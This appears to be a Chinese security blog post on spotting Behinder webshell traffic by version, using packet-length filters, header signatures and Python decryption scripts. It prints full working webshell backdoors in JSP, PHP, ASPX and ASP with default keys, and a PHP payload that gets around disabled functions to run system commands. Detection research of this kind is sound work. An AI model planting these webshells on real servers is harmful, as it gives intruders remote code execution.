本文最后更新于 2025年12月14日 下午
总结 payload长度特征 webshell连接后必定会发送一个获取基本信息的包
对同样的数据使用不同的key用同样的aes加密/xor加密后再base64编码后的长度是一样的。
同版本的冰蝎在首次连接shell时发送的payload是一样的,可以通过长度来判断是否是冰蝎流量。
shell.php 首次连接shell都会有一个phpinfo()的请求并且payload是一样的,并且即使每次的aes的key不同,其用同一种aes模式加密后的长度是一样的
v1.x 1 2 3 4 5 6 http.content_length == 1624 frame.len == 1668 Connection: keep-alive Content-Length: 1624
v2.x 首次连接webshell固定发送两个payload,第一个是探测是否有openssl扩展,第二个是phpinfo()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 frame.len == 1156 || frame.len == 2264 http.content_length == 1112 ||http.content_length == 2220 Connection: keep-alive Content-Length: 1112 Connection: keep-alive Content-Length: 2220 frame.len == 1156 || frame.len == 2256 http.content_length == 1112 ||http.content_length == 2212 Connection: keep-alive Content-Length: 1112 Connection: keep-alive Content-Length: 2212
openssl开启下
openssl关闭使用xor
v3.x 开启openssl时,首次连接webshell,请求长度是动态的,无法预测
不支持openssl使用xor时,请求长度也是动态的
v4.x 同v3.x,首次连接shell的请求长度是动态的
shell.jsp v1.x 连接webshell后,先get获取key后请求获取基本信息,使用相同payload,长度固定
1 2 3 4 5 6 http.content_length == 8556 frame.len == 8600 Connection: keep-alive Content-Length: 8556
v2.x 连接webshell后,先两次get获取key后请求获取基本信息,使用相同payload,长度固定,与v1.x用相同的payload
1 2 3 4 5 6 http.content_length == 8556 frame.len == 8600 Connection: keep-alive Content-Length: 8556
v3.x 首次连接请求获取基本信息的长度是动态的
v4.x 同v3.x,首次连接shell的请求长度是动态的
shell.aspx v1.x 连接webshell后,先get获取key后请求获取基本信息,使用相同payload,长度固定
1 2 3 4 5 6 http.content_length == 7184 frame.len == 7228 Connection: keep-alive Content-Length: 7184
v2.x 连接webshell后,先两次get获取key后请求获取基本信息,使用相同payload,长度固定
1 2 3 4 5 6 http.content_length == 7184 frame.len == 7228 Connection: keep-alive Content-Length: 7184
v3.x 首次连接请求获取基本信息的长度是动态的
v4.x 同v3.x,首次连接shell的请求长度是动态的
v1.x 能够推断是webshell的条件
通过第一个获取key的请求/shell.jsp?pass=xxx然后返回k值(16位)
1 2 3 4 shell.jsp?pass=xxx shell.php?pass=xxx shell.aspx?pass=xxx shell.jspx?pass=xxx
1 2 Content-Type: application/octet-stream Pragma: no-cache
可以用返回的key解密请求和响应,解密成功100%确定,不超过则不是。
首次连接webshell获取系统信息的请求包长度判断
1 2 3 shell.php shell.jsp shell.aspx
v2.x 够推断是webshell的条件
两个获取key的请求成对出现,然后返回k值(16位) //两次请求是冰蝎v2.x的特征
1 2 3 4 5 shell.jsp?pass=xxx shell.php?pass=xxx shell.aspx?pass=xxx shell.asp?pass=xxx shell.jspx?pass=xxx
1 2 3 Content-Type: application/octet-stream Content-Type: application/x-www-form-urlencoded Pragma: no-cache
可以用成对获取key的第二个请求返回的key解密请求和响应,解密成功100%确定,不超过则不是。
首次连接webshell获取系统信息的请求包长度判断
1 2 3 4 shell.php shell.php shell.jsp shell.aspx
v3.x 够推断是webshell的条件,v3.x最大的特征是key固定,没有了key请求
1 2 3 4 5 shell.jsp shell.php shell.aspx shell.asp shell.jspx
1 2 3 Content-Type: application/octet-stream Content-Type: application/x-www-form-urlencoded Pragma: no-cache
可以用默认key尝试解密请求和响应,解密成功100%确认。解密不超过则不能确定。
v4.x 够推断是webshell的条件,v4.x默认情况下和v3.x一样,但允许自定义加解密
1 2 3 4 5 6 7 8 9 10 11 shell.jsp shell.php shell.aspx shell.ashx shell.asp shell.jspx default_image 伪造成图片数据传输,就是在content后拼接payload (特征) default_json 伪造成json传输,在json后面拼接payload (特征) aes_with_magic AES-128 ECB 无IV但是在尾部拼接随机magicNum (特征)
1 2 3 4 Content-Type: application/octet-stream Content-Type: application/x-www-form-urlencoded Pragma: no-cache Cache-Control: no-cache
可以用默认key尝试解密请求和响应,解密成功100%确认。解密不成功则不能确定。
V1.x https://github.com/rebeyond/Behinder/releases/download/Behinder_v1.2.1/Behinder_v1.2.1.zip
V1.2.1的ua也是随机的
环境:windows11+tomcat9+jdk1.8
shell.jsp
1 <%@page import ="java.util.*,javax.crypto.*,javax.crypto.spec.*" %><%!class U extends ClassLoader {U(ClassLoader c){super (c);}public Class g (byte []b) {return super .defineClass(b,0 ,b.length);}}%><%if (request.getParameter("pass" )!=null ){String k=("" +UUID.randomUUID()).replace("-" ,"" ).substring(16 );session.putValue("u" ,k);out.print(k);return ;}Cipher c=Cipher.getInstance("AES" );c.init(2 ,new SecretKeySpec ((session.getValue("u" )+"" ).getBytes(),"AES" ));new U (this .getClass().getClassLoader()).g(c.doFinal(new sun .misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);%>
在
1 2 3 4 5 6 7 <%if (request.getParameter("pass" )!=null ){ String k=("" +UUID.randomUUID()).replace("-" ,"" ).substring(16 ); session.putValue("u" ,k); out.print(k); return ; }
会返回一个随机的K值,然后写入sessionu=k的值
所以webshell连接的第一个请求肯定是/shell.jsp?pass=xxx然后返回k值(16位)
然后对于后续请求
1 2 3 4 5 6 7 8 9 10 11 Cipher c=Cipher.getInstance("AES" ); c.init(2 ,new SecretKeySpec ((session.getValue("u" )+"" ).getBytes(),"AES" ));new U (this .getClass().getClassLoader()) .g(c.doFinal(new sun .misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))) .newInstance() .equals(pageContext); %>
以下两个请求header是固定的,可作为特征判断
1 2 Content-Type: application/octet-stream Pragma: no-cache
对请求使用密钥aes解密,可以看到明显冰蝎特征,最终确定为冰蝎流量
解密响应,命令执行响应结果格式为json
1 {"msg" :"xx" ,"status" :"c3VjY2Vzcw==" }
密钥是动态的,新会话连接webshell的密钥会不同
shell.jspx
1 <jsp:root xmlns:jsp="http://java.sun.com/JSP/Page" version="1.2" ><jsp:directive.page import ="java.util.*,javax.crypto.*,javax.crypto.spec.*" /><jsp:declaration> class U extends ClassLoader {U(ClassLoader c){super (c);}public Class g (byte []b) {return super .defineClass(b,0 ,b.length);}}</jsp:declaration><jsp:scriptlet>if (request.getParameter("pass" )!=null ){String k=("" +UUID.randomUUID()).replace("-" ,"" ).substring(16 );session.putValue("u" ,k);out.print(k);return ;}Cipher c=Cipher.getInstance("AES" );c.init(2 ,new SecretKeySpec ((session.getValue("u" )+"" ).getBytes(),"AES" ));new U (this .getClass().getClassLoader()).g(c.doFinal(new sun .misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);</jsp:scriptlet></jsp:root>
与jsp一样,只不过jspx是xml格式jsp
shell.php(需要openssl扩展,没有webshell是连不上的)
1 <?php class C {public function __invoke ($p) {eval($p."" );}};session_start();isset($_GET['pass' ])?print $_SESSION['k' ]=substr(md5(uniqid(rand())),16 ):($b=explode('|' ,openssl_decrypt(file_get_contents("php://input" ), "AES128" , $_SESSION['k' ])))&@call_user_func(new C(),$b[1]) ;?>
逻辑基本跟jsp一致,只是加解密aes的模式不同,php为AES-128-CBC + 全零 IV
jadx反编译得到
1 2 3 4 5 6 7 8 9 10 11 public static byte [] DecryptForPhp(byte [] bs, String key) throws Exception { byte [] raw = key.getBytes("utf-8" ); byte [] bs2 = Base64.decode(new String (bs)); SecretKeySpec skeySpec = new SecretKeySpec (raw, "AES" ); Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding" ); cipher.init(2 , skeySpec, new IvParameterSpec (new byte [16 ])); byte [] decrypted = cipher.doFinal(bs2); return decrypted; }
响应也是json,不过键名顺序跟jsp反过来了
命令执行也做了一些混淆、绕过
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 @error_reporting(0) ; function getSafeStr ($str) { $s1 = iconv('utf-8' ,'gbk//IGNORE' ,$str); $s0 = iconv('gbk' ,'utf-8//IGNORE' ,$s1); if ($s0 == $str){ return $s0; }else { return iconv('gbk' ,'utf-8//IGNORE' ,$str); } } function main ($cmd) { @set_time_limit(0) ; @ignore_user_abort(1) ; @ini_set('max_execution_time', 0) ; $result = array(); $PadtJn = @ini_get('disable_functions') ; if (! empty($PadtJn)) { $PadtJn = preg_replace('/[, ]+/' , ',' , $PadtJn); $PadtJn = explode(',' , $PadtJn); $PadtJn = array_map('trim' , $PadtJn); } else { $PadtJn = array(); } $c = $cmd; if (FALSE !== strpos(strtolower(PHP_OS), 'win' )) { $c = $c . " 2>&1\n" ; } $JueQDBH = 'is_callable' ; $Bvce = 'in_array' ; if ($JueQDBH('system' ) and ! $Bvce('system' , $PadtJn)) { ob_start(); system($c); $kWJW = ob_get_contents(); ob_end_clean(); } else if ($JueQDBH('proc_open' ) and ! $Bvce('proc_open' , $PadtJn)) { $handle = proc_open($c, array( array( 'pipe' , 'r' ), array( 'pipe' , 'w' ), array( 'pipe' , 'w' ) ), $pipes); $kWJW = NULL; while (! feof($pipes[1 ])) { $kWJW .= fread($pipes[1 ], 1024 ); } @proc_close($handle) ; } else if ($JueQDBH('passthru' ) and ! $Bvce('passthru' , $PadtJn)) { ob_start(); passthru($c); $kWJW = ob_get_contents(); ob_end_clean(); } else if ($JueQDBH('shell_exec' ) and ! $Bvce('shell_exec' , $PadtJn)) { $kWJW = shell_exec($c); } else if ($JueQDBH('exec' ) and ! $Bvce('exec' , $PadtJn)) { $kWJW = array(); exec($c, $kWJW); $kWJW = join(chr(10 ), $kWJW) . chr(10 ); } else if ($JueQDBH('exec' ) and ! $Bvce('popen' , $PadtJn)) { $fp = popen($c, 'r' ); $kWJW = NULL; if (is_resource($fp)) { while (! feof($fp)) { $kWJW .= fread($fp, 1024 ); } } @pclose($fp) ; } else { $kWJW = 0 ; $result["status" ] = base64_encode("fail" ); $result["msg" ] = base64_encode("none of proc_open/passthru/shell_exec/exec/exec is available" ); $key = $_SESSION['k' ]; echo openssl_encrypt (json_encode($result) , "AES128" , $key); return ; } $result["status" ] = base64_encode("success" ); $result["msg" ] = base64_encode(getSafeStr($kWJW)); echo openssl_encrypt (json_encode($result) , "AES128" , $_SESSION['k' ]); }$cmd="whoami" ; main($cmd);
shell.aspx
1 <%@ Page Language="C#" %><%@Import Namespace="System.Reflection" %><%if (Request["pass" ]!=null ){ Session.Add("k" , Guid.NewGuid().ToString().Replace("-" , "" ).Substring(16 )); Response.Write(Session[0 ]); return ;}byte [] k = Encoding.Default.GetBytes(Session[0 ] + "" ),c = Request.BinaryRead(Request.ContentLength);Assembly.Load(new System .Security.Cryptography.RijndaelManaged().CreateDecryptor(k, k).TransformFinalBlock(c, 0 , c.Length)).CreateInstance("U" ).Equals(this );%>
解密方法,同样是AES-128-CBC 但这里IV不是全0(16进制),而是key=IV
1 2 3 4 5 6 7 8 9 10 11 public static byte [] DecryptForCSharp(byte [] bs, String key) throws Exception { byte [] raw = key.getBytes("utf-8" ); IvParameterSpec iv = new IvParameterSpec (raw); SecretKeySpec skeySpec = new SecretKeySpec (raw, "AES" ); Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5Padding" ); cipher.init(2 , skeySpec, iv); byte [] decrypted = cipher.doFinal(bs); return decrypted; }
V2.x https://github.com/rebeyond/Behinder/releases/download/Behinder_v2.0.1/Behinder_v2.0.1.zip
环境:windows11+tomcat9+jdk1.8
shell.jsp
1 <%@page import ="java.util.*,javax.crypto.*,javax.crypto.spec.*" %><%!class U extends ClassLoader {U(ClassLoader c){super (c);}public Class g (byte []b) {return super .defineClass(b,0 ,b.length);}}%><%if (request.getParameter("pass" )!=null ){String k=("" +UUID.randomUUID()).replace("-" ,"" ).substring(16 );session.putValue("u" ,k);out.print(k);return ;}Cipher c=Cipher.getInstance("AES" );c.init(2 ,new SecretKeySpec ((session.getValue("u" )+"" ).getBytes(),"AES" ));new U (this .getClass().getClassLoader()).g(c.doFinal(new sun .misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);%>
加密解密同v1.x
但是v2.x连接会有两次请求?pass=xx密钥,第二次返回的密钥才是加解密的密钥
v2.x连接webshell时可以自定义请求头
特征header(辅助判断,因为请求头可以自定义)
1 2 Content-Type: application/octet-stream Pragma: no-cache
最终确定是否是冰蝎webshell还是同v1.x拿密钥解密请求和响应。
shell.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 <?php@error_reporting(0) ; session_start();if (isset($_GET['pass' ])) { $key=substr(md5(uniqid(rand())),16 ); $_SESSION['k' ]=$key; print $key; }else { $key=$_SESSION['k' ]; $post=file_get_contents("php://input" ); if (!extension_loaded('openssl' )) { $t="base64_" ."decode" ; $post=$t($post."" ); for ($i=0 ;$i<strlen($post);$i++) { $post[$i] = $post[$i]^$key[$i+1 &15 ]; } } else { $post=openssl_decrypt($post, "AES128" , $key); } $arr=explode('|' ,$post); $func=$arr[0 ]; $params=$arr[1 ]; class C {public function __construct ($p) {eval($p."" );}} @new C($params); } ?>
同样会有两次key的请求
php加解密aes依赖于<font style="color:rgb(17, 17, 51);">OpenSSL扩展</font>,加解密同样是AES-128-CBC 全零(16进制32个0) IV
冰蝎v2.x当环境不支持<font style="color:rgb(17, 17, 51);">OpenSSL</font>扩展时会改用 <font style="color:rgb(17, 17, 51);">xor</font>加解密
1 2 3 4 5 6 7 8 9 if (!extension_loaded('openssl' )) { $t="base64_" ."decode" ; $post=$t($post."" ); for ($i=0 ;$i<strlen($post);$i++) { $post[$i] = $post[$i]^$key[$i+1 &15 ]; } }
并且返回key后的第一次请求依然会尝试使用aes加解密,不成功才会改为xor(这是冰蝎v2.x不支持openssl扩展的特征)
后面的请求才会使用xor
解密python
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 import base64 key = "4b9ce250bc3ab0f9" # 16 chars b64_ciphertext = "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" # from POST body # 1. Base64 decode ciphertext = base64.b64decode(b64_ciphertext) # 2. XOR decrypt (note: key index = (i+1 ) % 16 ) plaintext = bytearray()for i in range (len(ciphertext) ): k = key[(i + 1 ) % 16 ] plaintext.append(ciphertext[i] ^ ord(k)) print(plaintext.decode('utf-8' , errors='ignore' )) # 输出assert |eval(base64_decode('ZXJyb3JfcmVwb3J0aW5nKDApOw0KZnVuY3Rpb24gbWFpbigpIHsNCiAgICBvYl9zdGFydCgpOyBwaHBpbmZvKCk7ICRpbmZvID0gb2JfZ2V0X2NvbnRlbnRzKCk7IG9iX2VuZF9jbGVhbigpOw0KICAgICRkcml2ZUxpc3QgPSIiOw0KICAgIGlmIChzdHJpc3RyKFBIUF9PUywid2luZG93cyIpfHxzdHJpc3RyKFBIUF9PUywid2lubnQiKSkNCiAgICB7DQogICAgICAgIGZvcigkaT02NTskaTw9OTA7JGkrKykNCiAgICAJew0KICAgIAkJJGRyaXZlPWNocigkaSkuJzovJzsNCiAgICAJCWZpbGVfZXhpc3RzKCRkcml2ZSkgPyAkZHJpdmVMaXN0PSRkcml2ZUxpc3QuJGRyaXZlLiI7IjonJzsNCiAgICAJfQ0KICAgIH0NCgllbHNlDQoJew0KCQkkZHJpdmVMaXN0PSIvIjsNCgl9DQogICAgJGN1cnJlbnRQYXRoPWdldGN3ZCgpOw0KICAgIC8vZWNobyAicGhwaW5mbz0iLiRpbmZvLiJcbiIuImN1cnJlbnRQYXRoPSIuJGN1cnJlbnRQYXRoLiJcbiIuImRyaXZlTGlzdD0iLiRkcml2ZUxpc3Q7DQogICAgJG9zSW5mbz1QSFBfT1M7DQogICAgJHJlc3VsdD1hcnJheSgiYmFzaWNJbmZvIj0+YmFzZTY0X2VuY29kZSgkaW5mbyksImRyaXZlTGlzdCI9PmJhc2U2NF9lbmNvZGUoJGRyaXZlTGlzdCksImN1cnJlbnRQYXRoIj0+YmFzZTY0X2VuY29kZSgkY3VycmVudFBhdGgpLCJvc0luZm8iPT5iYXNlNjRfZW5jb2RlKCRvc0luZm8pKTsNCiAgICAvL2VjaG8ganNvbl9lbmNvZGUoJHJlc3VsdCk7DQogICAgc2Vzc2lvbl9zdGFydCgpOw0KICAgICRrZXk9JF9TRVNTSU9OWydrJ107DQogICAgLy9lY2hvIGpzb25fZW5jb2RlKCRyZXN1bHQpOw0KICAgIC8vZWNobyBvcGVuc3NsX2VuY3J5cHQoanNvbl9lbmNvZGUoJHJlc3VsdCksICJBRVMxMjgiLCAka2V5KTsNCiAgICBlY2hvIGVuY3J5cHQoanNvbl9lbmNvZGUoJHJlc3VsdCksICRrZXkpOw0KfQ0KDQpmdW5jdGlvbiBlbmNyeXB0KCRkYXRhLCRrZXkpDQp7DQoJaWYoIWV4dGVuc2lvbl9sb2FkZWQoJ29wZW5zc2wnKSkNCiAgICAJew0KICAgIAkJZm9yKCRpPTA7JGk8c3RybGVuKCRkYXRhKTskaSsrKSB7DQogICAgCQkJICRkYXRhWyRpXSA9ICRkYXRhWyRpXV4ka2V5WyRpKzEmMTVdOyANCiAgICAJCQl9DQoJCQlyZXR1cm4gJGRhdGE7DQogICAgCX0NCiAgICBlbHNlDQogICAgCXsNCiAgICAJCXJldHVybiBvcGVuc3NsX2VuY3J5cHQoJGRhdGEsICJBRVMxMjgiLCAka2V5KTsNCiAgICAJfQ0KfQ0KbWFpbigpOw==' ));
shell.asp(用的是xor加解密)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <% Response.CharSet = "UTF-8" If Request.ServerVariables("REQUEST_METHOD" )="GET" And Request.QueryString("pass" ) Then For a=1 To 8 RANDOMIZE k=Hex((255 -17 )*rnd+16 )+k NextSession ("k" ) =k response.write(k) Else k=Session("k" ) size=Request.TotalBytes content=Request.BinaryRead(size) For i=1 To size result=result&Chr(ascb(midb(content,i,1 )) Xor Asc (Mid(k,(i and 15 ) +1 ,1 ))) Nextexecute (result) End If %>
解密python
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 import sys def decrypt_asp_xor (ciphertext: bytes, key: str) -> str: """ 解密 ASP WebShell 的 XOR 加密流量 :param ciphertext: 原始 POST body 二进制数据(bytes) :param key: 16 字符密钥(str),例如 "a1b2c3d4e5f6g7h8" :return: 解密后的 VBScript 源码(str) """ if len (key) != 16 : raise ValueError ("密钥必须是 16 个字符!" ) plaintext = bytearray() for i in range (len(ciphertext) ): # 密钥循环:k[0 ], k[1 ], ..., k[15 ], k[0 ], ... k_byte = ord(key[i % 16 ]) p_byte = ciphertext[i] ^ k_byte plaintext.append(p_byte) # 尝试用 UTF-8 解码,忽略非法字符(VBScript 可能含非文本) return plaintext.decode('utf-8' , errors='replace' ) # ====================== # 使用示例 # ======================if __name__ == "__main__" : # === 配置区 === KEY = "a1b2c3d4e5f6g7h8" # 替换为实际密钥(从 ?pass 获取) POST_BODY_FILE = "post.bin" # 替换为你的 POST body 二进制文件路径 try : with open (POST_BODY_FILE, "rb" ) as f: encrypted_data = f.read() decrypted_code = decrypt_asp_xor(encrypted_data, KEY) print("✅ 解密成功!原始 VBScript 载荷:\n" ) print(decrypted_code) # 可选:保存到文件 with open ("decrypted_payload.vbs" , "w" , encoding="utf-8" ) as out: out.write(decrypted_code) print("\n📝 已保存到 decrypted_payload.vbs" ) except FileNotFoundError: print(f"❌ 错误:未找到文件 {POST_BODY_FILE}" ) print("请确保 POST body 是原始二进制(非 Base64)并保存为 .bin 文件" ) except Exception as e: print(f"❌ 解密失败: {e}" )
shell.aspx(与v1.2.1一模一样)
解密方法,同样是AES-128-CBC 但这里IV不是全0(16进制),而是key=IV
1 <%@ Page Language="C#" %><%@Import Namespace="System.Reflection" %><%if (Request["pass" ]!=null ){ Session.Add("k" , Guid.NewGuid().ToString().Replace("-" , "" ).Substring(16 )); Response.Write(Session[0 ]); return ;}byte [] k = Encoding.Default.GetBytes(Session[0 ] + "" ),c = Request.BinaryRead(Request.ContentLength);Assembly.Load(new System .Security.Cryptography.RijndaelManaged().CreateDecryptor(k, k).TransformFinalBlock(c, 0 , c.Length)).CreateInstance("U" ).Equals(this );%>
v3.x https://github.com/rebeyond/Behinder/releases/download/Behinder_v3.0_Beta_11_for_tools/Behinder_v3.0_Beta_11.t00ls.zip
环境:windows11+tomcat9+jdk1.8
shell.jsp(兼容java7)
1 <%@page import ="java.util.*,javax.crypto.*,javax.crypto.spec.*" %><%!class U extends ClassLoader {U(ClassLoader c){super (c);}public Class g (byte []b) {return super .defineClass(b,0 ,b.length);}}%><%if (request.getMethod().equals("POST" )){String k="e45e329feb5d925b" ;session.putValue("u" ,k);Cipher c=Cipher.getInstance("AES" );c.init(2 ,new SecretKeySpec (k.getBytes(),"AES" ));new U (this .getClass().getClassLoader()).g(c.doFinal(new sun .misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>
使用了固定的密钥,没有了?pass=xx这一个特征请求和响应
同样可以自定义请求头
特征header(辅助判断,因为请求头可以自定义)
1 2 3 Content-Type: application/octet-stream Pragma: no-cache Cache-Control: no-cache
ua头不固定,每个session随机。但同一个会话的ua头是相同的,所以这里没有固定特征。
最终确定是冰蝎webshell,用keye45e329feb5d925b解密请求和响应,能解密就100%确定了。
但默认密钥解密不了就不一定不是冰蝎webshell,冰蝎v3.x设置的加解密密钥是自动获取连接密码的md5前16位
而连接密码可以自定义
1 <%@page import ="java.util.*,javax.crypto.*,javax.crypto.spec.*" %><%!class U extends ClassLoader {U(ClassLoader c){super (c);}public Class g (byte []b) {return super .defineClass(b,0 ,b.length);}}%><%if (request.getMethod().equals("POST" )){String k="098f6bcd4621d373" ;session.putValue("u" ,k);Cipher c=Cipher.getInstance("AES" );c.init(2 ,new SecretKeySpec (k.getBytes(),"AES" ));new U (this .getClass().getClassLoader()).g(c.doFinal(new sun .misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>
shell_java9.jsp (兼容java8+,只是换了base64编码库,加解密一样)
1 <%@page import ="java.util.*,javax.crypto.*,javax.crypto.spec.*" %><%!class U extends ClassLoader {U(ClassLoader c){super (c);}public Class g (byte []b) {return super .defineClass(b,0 ,b.length);}}%><%if (request.getMethod().equals("POST" )){String k="e45e329feb5d925b" ;session.putValue("u" ,k);Cipher c=Cipher.getInstance("AES" );c.init(2 ,new SecretKeySpec (k.getBytes(),"AES" ));new U (this .getClass().getClassLoader()).g(c.doFinal(Base64.getDecoder().decode(request.getReader().readLine()))).newInstance().equals(pageContext);}%>
shell.jspx.jsp (jsp的xml格式,加解密完全一致)
1 <jsp:root xmlns:jsp="http://java.sun.com/JSP/Page" version="1.2" ><jsp:directive.page import ="java.util.*,javax.crypto.*,javax.crypto.spec.*" /><jsp:declaration> class U extends ClassLoader {U(ClassLoader c){super (c);}public Class g (byte []b) {return super .defineClass(b,0 ,b.length);}}</jsp:declaration><jsp:scriptlet>String k="e45e329feb5d925b" ;session.putValue("u" ,k);Cipher c=Cipher.getInstance("AES" );c.init(2 ,new SecretKeySpec ((session.getValue("u" )+"" ).getBytes(),"AES" ));new U (this .getClass().getClassLoader()).g(c.doFinal(new sun .misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);</jsp:scriptlet></jsp:root>
shell.php (xor加密部分与冰蝎2.x的不一样)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 <?php@error_reporting(0) ; session_start(); $key="e45e329feb5d925b" ; $_SESSION['k' ]=$key; session_write_close(); $post=file_get_contents("php://input" ); if (!extension_loaded('openssl' )) { $t="base64_" ."decode" ; $post=$t($post."" ); for ($i=0 ;$i<strlen($post);$i++) { $post[$i] = $post[$i]^$key[$i+1 &15 ]; } } else { $post=openssl_decrypt($post, "AES128" , $key); } $arr=explode('|' ,$post); $func=$arr[0 ]; $params=$arr[1 ]; class C {public function __invoke ($p) {eval($p."" );}} @call_user_func(new C(),$params) ; ?>
解密python
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 import base64 # 固定密钥(冰蝎默认) key = "e45e329feb5d925b" # 替换为你的 Base64 加密 payload(来自 POST body) b64_payload = "YOUR_BASE64_HERE" # 1. Base64 解码 cipher_bytes = base64.b64decode(b64_payload) # 2. XOR 解密(注意:索引是 (i+1 ) & 15 ) plain = bytearray()for i in range (len(cipher_bytes) ): k = ord(key[(i + 1 ) & 15 ]) # 关键:i+1 plain.append(cipher_bytes[i] ^ k) # 3. 输出结果 result = plain.decode('utf-8' , errors='replace' ) print(result)
1 2 3 Content-type: application/x-www-form-urlencoded Cache-Control: no-cache Pragma: no-cache
不支持openssl扩展时依然会先尝试aes,返回500
shell.asp (xor加密逻辑与冰蝎v2.x一致)只不过是固定key
1 2 3 4 5 6 7 8 9 10 11 <% Response.CharSet = "UTF-8" k="e45e329feb5d925b" '该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond Session("k")=k size=Request.TotalBytes content=Request.BinaryRead(size) For i=1 To size result=result&Chr(ascb(midb(content,i,1)) Xor Asc(Mid(k,(i and 15)+1,1))) Next execute(result) %>
shell.aspx AES-128-CBC key = IV但是key固定
